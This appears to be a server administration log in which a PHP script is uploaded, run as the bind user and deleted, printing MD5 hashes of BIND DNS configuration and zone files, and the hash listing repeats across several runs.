MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:05:28: Establishing a connection
2026-02-09 13:05:28: 

PUT: /tmp/pkp575822

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:05:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp575822; rm /tmp/pkp575822'

2026-02-09 13:05:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:05:59: Establishing a connection
2026-02-09 13:05:59: Establishing a connection
2026-02-09 13:05:59: 

PUT: /tmp/pkp422993

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:05:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp422993; rm /tmp/pkp422993'

2026-02-09 13:05:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
